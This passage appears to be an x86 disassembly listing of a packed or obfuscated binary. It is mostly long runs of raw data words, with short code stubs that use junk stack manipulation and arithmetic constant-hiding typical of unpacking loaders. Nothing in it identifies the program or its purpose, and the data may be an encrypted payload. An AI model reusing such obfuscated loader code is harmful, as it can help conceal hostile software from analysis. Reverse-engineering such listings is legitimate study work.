		dd 9C8FCE5Ah, 8A99EB15h, 1931CE69h, 0C83BF797h,	0BD5AFDFBh
		dd 0DFF5048Dh, 0FE8CC716h, 0F77CF97Ch, 0C716DFE6h, 0E86B0B79h
		dd 9639DC1Bh, 0FA933641h, 8104C51Ch, 2BDBC402h,	80CC503Dh
		dd 0BAFEE823h, 0D174F090h, 0B008B52h, 8B60E6CDh, 7747C96Ch
		dd 43C6B1F5h, 45F0EAC3h, 1500000Bh, 469D3CD7h, 11E68928h
		dd 489F42E9h, 1AF1902Bh, 0B49938DFh, 2FD6A32Eh,	0DA7D7B90h
		dd 36D5A037h, 90333C93h, 0D956FDF1h, 38E9FB00h,	1BB48E5Fh
		dd 579C39DCh, 1BD87518h, 51A23BDAh, 1FEB8427h, 0C52C5AF5h
		dd 0B42C96D9h, 0A20284B5h, 56Eh, 22A73E20h, 0CA7C49Bh
		dd 0CF6AE96Ch, 8BC4EAFCh, 8D12BEB4h, 0C716FC4Ch, 8323A523h
		dd 0E5BA41C7h, 44E7100Ah, 0A3CC23C6h, 0CCA67D00h, 82009FCEh
		dd 68C165E5h, 16FC06DBh, 2B9E23C7h, 0F8ED2BA8h,	98673D2Bh
		dd 1D19BD60h, 0B20FD7A7h, 54D943C6h, 0A9F86h, 0E27D6F00h
		dd 2FCEA83Fh, 0D87F7B90h, 36D1A239h, 8E353C93h,	7D5486EBh
		dd 0D52ACD74h, 8259F89Bh, 9E35D473h, 578B2ED1h,	0FBA637BCh
		dd 0F0B938E9h, 39DC1B52h, 7518579Ch, 0D29D89D8h, 84B5F068h
		dd 4D46602h, 6DDC0000h,	7D926BE8h, 57ED3EC8h, 7D9472B7h
		dd 7C003EC8h, 9817F06Ah, 3EC8B541h, 491AAA20h, 67993D9Dh
		dd 9F74F7D2h, 0B7932CD3h, 318F1417h, 0A2C4EA6Ah, 66FFA2CDh
		dd 3DE00FE4h, 8C6B38BBh, 0C6B146E9h, 358C8A23h,	0AC921194h
		dd 3F3D2A64h, 0C59BF5C9h, 602D43C1h, 9FF7Ah, 29DCF00h
		dd 0CF6E885Fh, 0F89FDB30h, 0D6718259h, 2ED59C33h, 1DB4E68Bh
		dd 0F50AAD54h, 22B958FBh, 0BE15B453h, 776B0EB1h, 0FA8657DCh
		dd 10D938E9h, 2BDC1B32h, 0B29CC6CCh, 0B1911641h, 0D3507505h
		dd 0C82BC446h, 80730CAFh, 0B83BD477h, 88821BC2h, 638E135Eh
		dd 21CD3EBCh, 0BAEC94Eh, 993AB26Ch, 991C0285h, 0A9000001h
		dd 23F89FDAh, 3614B154h, 0E86D8C92h, 0C87D926Bh, 8257ED3Eh
		dd 1139D671h, 0BC5F986Dh, 0E78B6A39h, 0C87D9168h, 0D85AF03Eh
		dd 0DB14DF38h, 885FE02Ah, 0CA48CD36h, 0E1846C43h, 0C3620644h
		dd 3CBF0A4Fh, 0F51C15B7h, 0E78006C4h, 2D5C995Ch, 0D99886C7h
		dd 17542BA6h, 0E267E37Ch, 0C72D5C1Bh, 0B6701076h, 0FC69D63Eh
		dd 12B9C18Eh, 9029C775h, 0B9AAC38Dh, 291E9737h,	0A4000000h
		dd 9B22A73Eh, 0CF99216h, 26F0506Fh, 86E7BD82h, 1278C4F4h
		dd 8B0BCE75h, 0AF4C72Ch, 0A767DD47h, 0E2F1FC69h, 51000000h
		dd 0F72BDC1Bh, 0B52B7FE9h, 9465EA71h, 0EB3EC810h, 0B142DB5Dh
		dd 6F8421C8h, 799CF80h,	5C409916h, 0A91F3EC8h, 3C4D4619h
		dd 982421BEh, 0F0D857F0h, 2DC266D0h, 3D009F42h,	4CE98866h
		dd 0E1F877FEh, 803EC895h, 0E3E1660Ah, 233EC8B8h, 4B0EB154h
		dd 42DB7A74h, 0A426C5B1h, 0FECB1204h, 9185F177h, 93A21BDDh
		dd 3F68FD00h, 2DD14F77h, 681EA52Ah, 63E1C4F6h, 3FE613E0h
		dd 0CD0F9DA0h, 0BC5F9882h, 79B2723h, 0A74A260Bh, 87265029h
		dd 27BC5CEEh, 0F7D3A34Ah, 0C149E6E1h, 85AEEECh,	4A2A0000h
		dd 0FBFB10AFh, 4C26BD5Ch, 0FEED02A5h, 422FC463h, 4359FC9Bh
		dd 1DBC638Eh, 6807AAC6h, 24C36293h, 5AFDA0CFh, 9766ED68h
		dd 0EA38E9F5h, 0DE1B4101h, 0D97615E0h, 0D50EF71h, 0F1953C36h
		dd 0D17013DCh, 39DC1B89h, 7518579Ch, 284E4D2h, 0DB610000h
		dd 1D1DBCB9h, 2DF39316h, 9B22A73Eh, 7D409916h, 0A91F3EC8h
		dd 6906A5D0h, 75FA3DE1h, 0C4F575DFh, 162DCA40h,	0C72C85C3h
		dd 0F08D343Dh, 7C55F003h, 0C231CE75h, 0D3A310B7h, 0BA644E7Ch
		dd 0AA174DB7h, 0F41FC69h, 0C1000002h, 0C87D6F6Bh, 0A623BA3Eh
		dd 0FC20A01Fh, 49BFC4EAh, 5A02EDC2h, 16FC04D5h,	6BED5BC7h
		dd 953837CCh, 2C71EF8h,	5E4BED7Bh, 30DAA623h, 5046CD90h
		dd 0E33D2B26h, 8B2B9165h, 987543C6h, 77F42h, 821D4F00h
		dd 4FEE08DFh, 781F5BB0h, 56F102D9h, 0AE551CB3h,	9D34660Bh
		dd 758A2DD4h, 0A239D87Bh, 3E9534D3h, 0F7EB8E31h, 0F406D75Ch
		dd 905938E9h, 39DC1BB2h, 7518579Ch, 9CB383D8h, 0B85F9A69h
		dd 11B4C318h, 0B23CB46Eh, 7F1A0284h, 0AB000001h, 7D1C5926h
		dd 0C871E5F4h, 350E7C3Eh, 48029B36h, 0E86DA2A8h, 0C87D926Bh
		dd 0B757ED3Eh, 15B25522h, 0DA1711DEh, 32B09A33h, 83469B8Fh
		dd 59498300h, 5FE2C4F5h, 2CA119E0h, 901278C7h, 76814EF7h
		dd 70103AD3h, 2CA616EBh, 4A25FFC7h, 699068E0h, 36EEFCh
		dd 3E540000h, 8AFCBA7h,	0B17E038Ah, 0C28825C4h,	0AE1B191Eh
		dd 46C4C4F4h, 0B2479AA9h, 0B6C1C72Ch, 7F797A13h, 4E1843DCh
		dd 11EBD503h, 809CD43Eh, 0B9BAFC69h, 48000000h,	0B239DC1Bh
		dd 0D66F12DDh, 0A3BD474h, 7DF10887h, 0FA903EC8h, 0D1788156h
		dd 0B148C74Ah, 0D03EC87Dh, 0F396613Ah, 0F750F05Ah, 0D477814Eh
		dd 9A6F0F3Bh, 0D61DBA5Dh, 0CC53F699h, 3ECB8FE6h, 31B45720h
		dd 180250ABh, 0EE3C4F3h, 0A7A33CE3h, 6FF62807h,	0C74CD35Ah
		dd 9A3B0924h, 62FB96D5h, 1FDE65E8h, 72C72A24h, 0CF56D4h
		dd 58AF52F9h, 0D4A67A21h, 0E049E795h, 62A8B4Fh,	0FAFA0000h
		dd 4B2BC05Fh, 0FCF60DACh, 4E1DB255h, 0B2BF14B3h, 0D3096C0Bh
		dd 0AD4CF3FEh, 0D8771A56h, 0B453F203h, 0AAD501Fh, 27B63DD8h
		dd 3A38E9F6h, 0DE1BD171h, 0BE959837h, 9A6F0FB2h, 0F17BA5Dh
		dd 94E5DF6Dh, 20CCA249h, 0E98C6B80h, 0BF628D62h, 0AB842426h
		dd 4198179Ah, 203EC890h, 6F106AAh, 657CFD55h, 0FC8333F2h
		dd 3EC809FDh, 9F74F694h, 0BAE2CD3h, 2DDBh, 966D3500h, 13DFB45Bh
		dd 3837CC6Ch, 34410E95h, 7DCA1390h, 1FA53EC8h, 0A24604A1h
		dd 0EA8D6A89h, 2D44EA4Dh, 8D2CCFA8h, 1E5Dh, 0DF6DB300h
		dd 3ED5A871h, 0BF14B4B0h, 0D3700DB0h, 3EC89509h, 0F94DB47h
		dd 6807E6E0h, 1BFF47EAh, 0A99C39DCh, 7365F323h,	0AAE90C8h
		dd 66FAC118h, 0C9150EB4h, 1FA427A9h, 0C4EA13F9h, 0AA79FC8Ah
		dd 70872ACDh, 0CB4BE487h, 0A3CF4576h, 397BC357h, 47AC9FA9h
		dd 81FF738Dh, 0AA4925FAh, 96993D0Dh, 862D441Bh,	575A5DE2h
		dd 972D3D35h, 36303F14h, 900F9639h, 0CD764B49h,	9D20A228h
		dd 6509A8C6h, 0A34631C6h, 14B50C0Ah, 0BDB3C291h, 0ED910FB2h
		dd 449BE56Ah, 6EDC374Bh, 0A6E41E9Ah, 35A56A5Dh,	4E4h, 7A1DB8B4h
		dd 47EA8965h, 8423CAB0h, 3EE17C6Fh, 8629D0A9h, 0E910C1E3h
		dd 30489F42h, 0D815EA8Dh, 36419639h, 43C2F493h,	0E9F13DBCh
		dd 0E75B5438h, 9639DC1Bh, 0FA933641h, 0D85BFEF9h, 7D07D65Dh
		dd 0CC533EC8h, 3EC87D0Dh, 0E066E664h, 0AA74E740h, 0B25522A7h
		dd 89BE4A0Fh, 849AFF2Dh, 0D8AD50CEh, 684D812h, 0C230A862h
		dd 6D260284h, 9F000000h, 615C9D22h, 4A233EC8h, 8E4A3E70h
		dd 26B654D0h, 79D6240Eh, 349ED7Fh, 605A966Dh, 0D770F299h
		dd 9C21D373h, 9ED9A62Dh, 48E862FBh, 0B24E7E05h,	63E1C4F4h
		dd 43E213E0h, 0CE5C9FA4h, 99D6C72Ch, 717C53F6h,	88BD4BD2h
		dd 0C1860042h, 86BF58F8h, 8F14C0B9h, 0C72C7B4Eh, 8825A321h
		dd 7BA736BDh, 4CBAC72Ch, 9BC2ACEh, 16000004h, 0B239DC1Bh
		dd 7D29B02Fh, 0C2483EC8h, 1EE051Eh, 0E1D54F50h,	88A7E0Ch
		dd 4230B569h, 8F169433h, 90333D12h, 0E7A16BF0h,	25B3C4F5h
		dd 4C596391h, 2A26CADFh, 267B2845h, 943F5266h, 0B29835B3h
		dd 0D155A42Bh, 9E2CC72Dh, 971C991Ch, 0C72DD146h, 98D6AB19h
		dd 4AEE5CF9h, 0D18F52F1h, 6C89C72Dh, 0B0C330CDh, 0C26C7815h
		dd 0ED9781AFh, 61C0F862h, 4996FC6Ah, 0EC000000h, 9B22A73Eh
		dd 0F4AE1E14h, 335C1C4h, 45CE6B41h, 550F619Ah, 7A09FC5h
		dd 9EA7D1BFh, 70F2701Eh, 2BD816EDh, 0A1D21F26h,	1093158Bh
		dd 2CF84A93h, 0FF9F25C7h, 0F8D81D26h, 5745C72Ch, 3736AE18h
		dd 0B620FC69h, 0A2000000h, 0AF34DC1Bh, 3EC87D2Eh, 0A845C341h
		dd 0EE872E4Bh, 0AE47EA05h, 0E8872A45h, 0C8799163h, 0C366913Eh
		dd 0A6A0CF24h, 5AA320CCh, 35C13781h, 36CF51CFh,	0ED7059E0h
		dd 0AA24466h, 0EB1173Bh, 8104C51Ch, 9E412F04h, 3DC24901h
		dd 0C72CA6BCh, 8C9135D3h, 3D120F1Dh, 0E0AF36D4h, 8ACF7219h
		dd 113A5BFEh, 22C62BB0h, 29FDA4CDh, 43C21875h, 0D51CBE4Fh
		dd 0A5000002h, 768D2CC7h, 0A136D978h, 788F32D9h, 0AA41E07Bh
		dd 0E48928CFh, 3FE613BEh, 8A2D4BA0h, 46E510E7h,	80234CA3h
		dd 0E966EDE1h, 38E9F310h, 1BC47E6Fh, 439837DEh,	6BEE9134h
		dd 2CF8ADDh, 28C899CAh,	22A73E22h, 0AE1E149Bh, 0E5BAC4F4h
		dd 8BC7670Ah, 161D52EFh, 189A0624h, 7F31C47Fh, 0FEEFC72Ch
		dd 89C81951h, 0AA28B38Ah, 0E0CE60Dh, 0AAA03DE4h, 0B3558F28h
		dd 36D9179Ch, 492FB199h, 20C3AD82h, 0F923C387h,	1CD40C76h
		dd 7DF8FC69h, 2C1AE7F6h, 0BCB57AC7h, 0BAF39315h, 0C3h
		dd 6BE86D48h, 3EC87D92h, 99C631DDh, 0F57535FFh,	1ABDBA8Fh
		dd 0F3966176h, 0B960995Ah, 8BDD271Ch, 2A453EC8h, 0E413E887h
		dd 0EB72A441h, 0D2D857DEh, 8DC4F5B0h, 0D8E551E9h, 0E466FF9Eh
		dd 874D1758h, 2DB46609h, 0EC9A199Ch, 6F3D1335h,	747D52D9h
		dd 5FF4A7BFh, 0D6EEF87Ah, 0F7109CA4h, 0A34A3066h, 40C2400Ah
		dd 650CE6BDh, 3FDE82C8h, 562AD1A8h, 43CD6D46h, 0BD5D7D12h
		dd 8D000001h, 0CE25C45Fh, 895E01A0h, 0D027CA71h, 926908A3h
		dd 3C21C067h, 0A74E2BA6h, 6205F308h, 0AE4D28BFh, 58FBF40Bh
		dd 17E05B9h, 38E9F2F8h,	1BECD697h, 959837DEh, 730CB3BEh
		dd 0D5A237D7h, 7D57A62Dh, 9C2A3EC8h, 6DB37B1Eh,	7D926BE8h
		dd 57ED3EC8h, 0B25522B7h, 6E11DE15h, 983B34CBh,	0B50C9015h
		dd 930EC3EAh, 0F0FA0388h, 2F953EC8h, 0D960B68Fh, 57966DF0h
		dd 0DE1D1FB8h, 0A2DDC651h, 0C4FEF71h, 0F5295587h, 0C760E6C4h
		dd 0DC3CC043h, 38D68CA1h, 8BE650F0h, 0BF46E906h, 0C3CBD42h
		dd 0B553C72Dh, 0B900F211h, 6C068D10h, 0EF3D1003h, 0BB54F302h
		dd 0D174118Fh, 0AE52F502h, 0E27B1E59h, 2486C955h, 2CA92C9Dh
		dd 0DE771657h, 4416E06Ch, 0A815EA7Ah, 0B4214308h, 0BE3A373Fh
		dd 8BD7F831h, 0E07F0122h, 0AC49EC0Bh, 0EE872647h, 0AE47EA05h
		dd 0E8852C45h, 2B591806h, 2BB0BF6Dh, 8128524Ch,	45E466E4h
		dd 0B63D8CD1h, 5A2D8339h, 912E9C29h, 17E49562h,	0CC0391CDh
		dd 5D962FB1h, 0A350ED94h, 74962FD6h, 17D9074Ah,	0B90062EDh
		dd 3B088D10h, 36FB9B3Ah, 23617B84h, 0E2F22397h,	8E0D18D6h
		dd 24B96D0Ch, 0CCA31EA5h, 20C3ACA2h, 0BF39FEA2h, 0A02593F7h
		dd 89668D2Ah, 0C3AC43E6h, 9B189D20h, 0E59FF142h, 8823501Dh
		dd 76CD660Ah, 534FA31Ah, 78ABC668h, 8727CEABh, 3FE28572h
		dd 0A92CCFA8h, 5FF89FDAh, 1F24BEBh, 56F500F2h, 25CF3BD4h
		dd 2AAC54Ah, 0AA33E2Dh,	0A722BB40h, 0C73DB66Fh,	0C76007F2h
		dd 8D620583h, 0ED906862h, 0DD1BE86Bh, 0D4AD9D3Ah, 0C25BFB9Ah
		dd 318h, 0BC867200h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh
		dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh
		dd 0AE47E610h, 22F36824h, 14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	eax, 5F7EE1h
		not	eax
		sub	eax, 3DB96E09h
		not	eax
		push	ecx
		mov	ecx, 4F471205h
		xor	ecx, 78B07F63h
		sub	eax, ecx
		pop	ecx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	23A3h
		mov	[esp], edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], eax
		pop	edx
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dw 61A8h
		dd 0A481E06Fh, 219170B8h, 0FFC50306h, 6D43FAE0h, 53A54236h
		dd 0BF348B64h, 75DB215Bh, 0DDFB072Bh, 0BE658B13h, 13CE343Fh
		dd 0B4C6937Eh, 1BC5D77Ah, 4F346A71h, 95C1F64Fh,	47267D41h
		dd 0EC28B878h, 0BFF9E32h, 0BA2E7D5Ch, 0D840D012h, 40A00929h
		dd 0B6D16503h, 9DF0B802h, 0BC573659h, 2C5E452Dh, 3FAA423Ch
		dd 8B239C38h, 507DF017h, 20040D26h, 0EE82Fh, 7A140000h
		dd 62EA22BFh, 0B44C9D8Eh, 0BF8B30FDh, 0FCDE8166h, 81F959BFh
		dd 6762C1h, 0C02BF500h,	99B960h, 0B70F1B17h, 34FF61C1h
		dd 7E908h, 0F33D0000h, 282A5613h, 81F95F9Dh, 0E27415C7h
		dd 0F28B666Ch, 7A22C781h, 0E4BB382Fh, 816BBF26h, 0DEC798C7h
		dd 89F58A49h, 0F860013Ch, 11E8h, 12372D00h, 2B6658h, 0DE320947h
		dd 9259F66Eh, 840F3C69h, 0
		dd 12E9615Eh, 8A000000h, 0E5DCD468h, 49FB9E8Eh,	168276C7h
		dd 832FA93Ch, 2E88339h,	86BABB66h, 0F8814848h, 0FFFF9944h
		dd 0FF84850Fh, 0CA81FFFFh, 67BAD131h, 94128D8Dh, 6A0621h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 3420D6C3h, 952AD556h, 6660F98Bh, 8956F08Bh, 1B31B58Dh
		dd 89615806h, 1B24298Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 299FCC64h, 1B077195h
		dd 5958906h, 0C7061B26h, 1B076585h, 737806h, 0B70F6000h
		dd 28E0FD0h, 60000000h,	85C76161h, 61B13D1h, 0
		dd 0B5FFFB8Bh, 61B0DCDh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0FEC35242h, 0EFA4240Ch, 7980345Ah, 1855958Bh
		dd 95FF061Bh, 61B2F85h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 8DC35141h, 0A2F94831h, 0FCA14FA3h, 95FF006Ah
		dd 61B2205h, 6BEBC08Bh,	0E9CBA3FEh, 89788FF5h, 93850AFh
		dd 318A1C1Dh, 8CAE6F4Fh, 0F3E1E286h, 0A88FA597h, 33CF275Ah
		dd 5842E9FEh, 438A536h,	0CE95153Dh, 958EEA26h, 21432FE9h
		dd 1E69F48Fh, 0AB6E4DAEh, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh
		dd 8D51ECA2h, 0BEBFA67Fh, 281957E6h, 3CA4E3E2h,	0D02ADD7h
		dd 61BF4F81h, 67261554h, 737D13D0h, 0EB7A9F9Dh,	8, 92F69F00h
		dd 4C1E974h, 6D680000h,	0E9062195h, 0FFF9E98Ch,	2195E668h
		dd 0E982E906h, 5C68FFF9h, 0E9062197h, 0FFF9E978h, 42E5806Ch
		dd 7F22C1ADh, 4CEB9268h, 7619B4B7h, 4EF19861h, 2158792Bh
		dd 0F800D77Ah, 501DB255h, 0FEF90EB1h, 8B0ABC5Bh, 0E9E9F504h
		dd 1FA38C38h, 9E37DE1Bh, 0D8771A55h, 0A5D39F26h, 63E56502h
		dd 5F5563E0h, 9226C4F5h, 0D00B639Dh, 0CB64E6F1h, 2C7B6578h
		dd 5DF492C7h, 68B77DF3h, 302DBFCh, 9C670000h, 3B8ED354h
		dd 6B0AEBB8h, 7FA607DFh, 12B68BC0h, 0D52E900Fh,	43C1C4F5h
		dd 0F3AFB54Eh, 0E37AC44Bh, 12E05FE6h, 6D387550h, 6C7F54D7h
		dd 721634D1h, 0E1E87D99h, 73E1D55Ah, 0A06F3290h, 935D36D5h
		dd 53F357F0h, 15EA71D7h, 439837DAh, 80BD9134h, 0A2404C7Ah
		dd 34ECD0Dh, 0BEAE0000h, 7F6F8423h, 0D0AA41E0h,	82718629h
		dd 0C6B348E7h, 0C7DD801Fh, 0A948EF0Ah, 0E4832652h, 0A03FDE0Fh
		dd 0E6892C4Bh, 0BD251F4h, 6638E9E8h, 0A73EBD85h, 45149B22h
		dd 15C4EAC9h, 0B341CB87h, 0B53A9DB5h, 0C7162824h, 0AB4BCD3Bh
		dd 4E8F14AFh, 21C71628h, 5AA320A3h, 35C71628h, 0F5CA51CFh
		dd 1DB255FCh, 3310AD54h, 0C71628AFh, 11E58867h,	49DBB4E2h
		dd 0D5F7E3ACh, 35000002h, 0E6FD9C37h, 31C66908h, 0E8FFA249h
		dd 3AD1700Bh, 54F9983Fh, 0CF76834Eh, 0FA9DDB30h, 0D6758057h
		dd 30D39C33h, 39B65D91h, 38E9E8A0h, 3E54EEBFh, 149B22A7h
		dd 0C4EAC945h, 3411AE1Ch, 2B3FC5A8h, 690DEC77h,	165611E4h
		dd 3FDE0FC7h, 71224DA6h, 418936D9h, 24C13F7Dh, 0B3938E6h
		dd 0A7D19E25h, 0ADF6B04h, 7BA549F0h, 5D528AF4h,	0B904FC63h
		dd 81000001h, 0F1E485FBh, 25110651h, 0B8BF4BFAh, 6508E726h
		dd 600082C8h, 39DC1BDAh, 7518579Ch, 309920D2h, 59E426ADh
		dd 1177C4F5h, 0A10ACF74h, 9F3C72Ch, 333C1346h, 0B353F790h
		dd 69920339h, 2A55FCh, 3EAD0000h, 149B22A7h, 0C4F4AE1Eh
		dd 99AA43C1h, 0C72CB244h, 127CD3B1h, 0FC6980DAh, 0E97Ch
		dd 78C0900h, 0C72CBEF6h, 0D55BFB89h, 6E2BDC1Bh,	4F1AFA24h
		dd 0B63DDA58h, 0B9114BBh, 95047E74h, 0CD6C8A21h, 0C3981A30h
		dd 0D07A13B2h, 13DC1730h, 531CD770h, 954A11B0h,	0A13EC82Ch
		dd 0C2AEA4D2h, 46C4861Fh, 0E8FDA1A9h, 3AD9150Fh, 0A82BAD9Dh
		dd 7F5A0924h, 51F5F67Fh, 0D0F940B2h, 0D47B764Dh, 0EC6F0F3Bh
		dd 0F69BDC67h, 0A2299FC4h, 0DC1DA21Fh, 0B3C72AE3h, 0E34D8C15h
		dd 9824C72Ah, 0BC7F3D19h, 0A040C25Ah, 0D794189Dh, 0F173D153h
		dd 71885D01h, 0A9D027CAh, 0C8252E02h, 8E1F49E7h, 15F4Ch
		dd 12ADBF00h, 0BF5E986Fh, 8AFCB20h, 0C6619269h,	0FEA5CC23h
		dd 0EDE4F65Bh, 25BA5D04h, 0F209A84Bh, 2EC56403h, 0C7FB9E41h
		dd 0EA36C74Ch, 604938E9h, 5C966DE2h, 0B5BC11B5h, 9416B9B7h
		dd 6911DEF5h, 0C87D13EAh, 5AD86E3Eh, 0DC1B6FB7h, 15DDB239h
		dd 8271CA6Eh, 0FB2FD275h, 63E06366h, 0C4F4B2ABh, 3ADF2FBDh
		dd 0B08DC887h, 8713D363h, 7202628Ch, 8350D2Fh, 5EDA7E89h
		dd 638E65E8h, 0C3161DBCh, 8FC72CDEh, 0B576AD09h, 8EAA0542h
		dd 8CAF56B7h, 0A6CCA523h, 44E466FFh, 9B18C0AFh,	0C72CCA42h
		dd 8C08ABC4h, 78C06EFEh, 300C5EA8h, 1F80FB2h, 0A91DBD5Ah
		dd 73000000h, 0B659966Dh, 12F16A26h, 6B0BF967h,	1EA524B9h
		dd 0EAFC24A1h, 0B04DBBC4h, 0EE913443h, 0B83BDE19h, 0CE871A34h
		dd 0D80D0E97h, 4B4EDE70h, 0F64FEF79h, 0C25F704Dh, 54CD251h
		dd 35D47780h, 0AA29D19Eh, 0B9E33953h, 931A982Eh, 0CD0C930Eh
		dd 0A4B9E339h, 395C9D26h, 8733B9E3h, 5EB61CB2h,	0F29614D7h
		dd 0FE99DA19h, 2FCEA877h, 0FB14B496h, 0C05D00F8h, 4A14433h
		dd 0EF1D34EAh, 1A552A31h, 222DD777h, 0AC2FD29Dh, 53F39AD7h
		dd 0AD501FB4h, 33B03510h, 0B9E3ACAAh, 319F3FC5h, 0Ch, 38DF6DA7h
		dd 6234B087h, 863C26CAh, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh
		dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh
		dd 0AE47E610h, 4EC8324h, 52241C89h, 0C281E289h,	4, 4EA81h
		dd 14870000h, 2C895C24h, 67016824h, 0C890000h, 94AF6824h
		dd 2C8B0621h, 4C48124h,	83000000h, 248904ECh, 24048124h
		dd 4, 8BB5359h,	1000000h, 0BA52CBh, 1000000h, 5A2A89DAh
		dd 2434FF5Bh, 4C48159h,	0FF000000h, 815D2434h, 4C4h, 0E4DAE900h
		dd 0A428FFF9h, 0B8AE7B23h, 62198E0h, 0E0FFC503h, 27F25FA0h
		dd 619DEBF2h, 4D222AE5h, 0F668C44h, 73FD26A3h, 41BDCB89h
		dd 755FA490h, 5F80B35Ah, 3706F8FFh, 3BCA2CFAh, 7C3FC027h
		dd 7E5D612Fh, 6B131771h, 0BECAE42h, 42ABAF10h, 0DE8h, 4E315B00h
		dd 0ACF4A49Bh, 0A29F058h, 0B70FC3CDh, 7E958CEh,	19000000h
		dd 0A2F2378Dh, 0C0817A2Eh, 5DE0h, 0BA63EB80h, 1748h, 5EF530FFh
		dd 12E9h, 3F752000h, 0F2B6AE79h, 0F4E05C2Bh, 3A6DBD8h
		dd 81A26631h, 0EDDBDDC6h, 81B0B713h, 0E78C3CC6h, 81CF8A57h
		dd 0ADB3DEEEh, 17870F3Dh, 0E9000000h, 12h, 1B5172DDh, 0AD07E373h
		dd 0D91CFA32h, 853519BAh, 30895E28h, 2E43E981h,	0E8833A74h
		dd 0DB816603h, 8B4894FBh, 1EA83CAh, 20850Fh, 830F0000h
		dd 8, 28D0Fh, 59530000h, 1CE9h,	0E61C5900h, 9EFE955h, 5623512Ah
		dd 71E9E0BAh, 85FFFFFFh, 498AE438h, 72C8AB10h, 0FE8AEh
		dd 0F77B0000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h, 0CEBF0F6Bh
		dd 0CE816658h, 0C0816C6Dh, 67C7h, 0D08B6060h, 0B8BA61F8h
		dd 61681EB0h, 68h, 0DB816000h, 4CFE21C1h, 0BE9h, 0EFC6AB00h
		dd 0AE296CECh, 496487E6h, 810F5A61h, 8,	890F56h, 5E000000h
		dd 81103C8Bh, 10ECC2C7h, 9FE9814Dh, 810A5C92h, 0BADBE4F7h
		dd 1B810F55h, 0E8000000h, 13h, 842E24EEh, 63C6E795h, 8B73C3FAh
		dd 774FC930h, 0B394F02Dh, 0EF815994h, 0C9AB1D4h, 8B103C89h
		dd 4860FDFh, 56000000h,	8359CE8Ah, 4A4A02EAh, 7E92F381h
		dd 0FA811802h, 0FFFF98F0h, 0FF9E850Fh, 0D980FFFFh, 8E81Fh
		dd 60B30000h, 947B51D2h, 0BF0FABAEh, 61BA5EFBh,	81167D6Fh
		dd 71C7C6h, 0AE900h, 72750000h,	0FDA033B9h, 0AC4235C4h
		dd 0BBh, 0D68B6600h, 661E0C8Bh,	816890BAh, 3B805CC1h, 0D081665Ah
		dd 0E981451Eh, 2946DB16h, 0DEAEE781h, 0C1812B89h, 162B9D26h
		dd 0E9605351h, 5, 84343E0Ah, 8E0F2Bh, 61000000h, 1E048F5Ah
		dd 5840Fh, 80570000h, 0B65FEADEh, 4EB8390h, 820Fh, 0FB810000h
		dd 0FFFF8ECCh, 0FFA2850Fh
		dd 800FFFFFh, 5, 0D68B6650h, 5E85Fh, 0B96A0000h, 5FA77C7Bh
		dd 81CE8B66h, 5926C7h, 68F800h,	60000000h, 16850Fh, 11E90000h
		dd 0D7000000h, 308D88BDh, 6382657Bh, 29E5C9D6h,	0EC6693D5h
		dd 86D2C981h, 58610E2Ah, 75B53EB9h, 3834FF18h, 0F95BCB8Bh
		dd 0CA8FF381h, 81F9004Ah, 3E1791F3h, 37EB8160h,	0B22E577Bh
		dd 0BF0F5375h, 7048FD2h, 4C63B860h, 810F1C00h, 16h, 11E9h
		dd 0D7CD5600h, 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 0F61DEDBh
		dd 588h, 0EA816600h, 0E881CA68h, 4DAE3ECFh, 7E9h, 0F385CE00h
		dd 98FD8CFBh, 3ECBC081h, 0F8814DAEh, 0FFFFA7D4h, 2E850Fh
		dd 0EE80000h, 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h
		dd 0C2816638h, 0E959C72Fh, 2Ch,	0F7F6C7Ah, 0CD059B35h
		dd 781AB004h, 0A2E360EAh, 0E9C88B66h, 0FFFFFF55h, 0F3BC1FA6h
		dd 0B368BF00h, 0AA03B177h, 4EF5CE62h, 0EB620917h, 0BD83C08Bh
		dd 61B23D1h, 83097500h,	1B3129BDh, 19740006h, 0C08B5350h
		dd 421B8h, 0A1858900h, 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h
		dd 29BD8358h, 61B31h, 53501774h, 421B8h, 0A1858900h, 8D061B2Dh
		dd 1DA33C9Dh, 5BD3FF06h, 8BC08B58h, 1B1F159Dh, 9D85C606h
		dd 56061B23h, 0A8B85268h, 11B5FF9Ch, 8D061B2Fh,	1E704685h
		dd 6AD0FF06h, 10006804h, 0B5FF0000h, 61B1D2Dh, 0D0FF006Ah
		dd 850FC085h, 0Dh, 0B8h, 48D8D00h, 0FF061B71h, 8BC88BE1h
		dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 61B0C51h
		dd 0E840F00h, 8B000000h, 1B0C519Dh, 55858B06h, 89061B03h
		dd 8D525103h, 1B413E85h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h
		dd 9D85C6A4h, 56061B23h, 1F6D3968h, 11B5FFD4h, 8D061B2Fh
		dd 1E704685h, 68D0FF06h, 8000h,	0FF52006Ah, 83C08BD0h
		dd 1B23D1BDh, 9750006h,	3129BD83h, 7400061Bh, 8B535019h
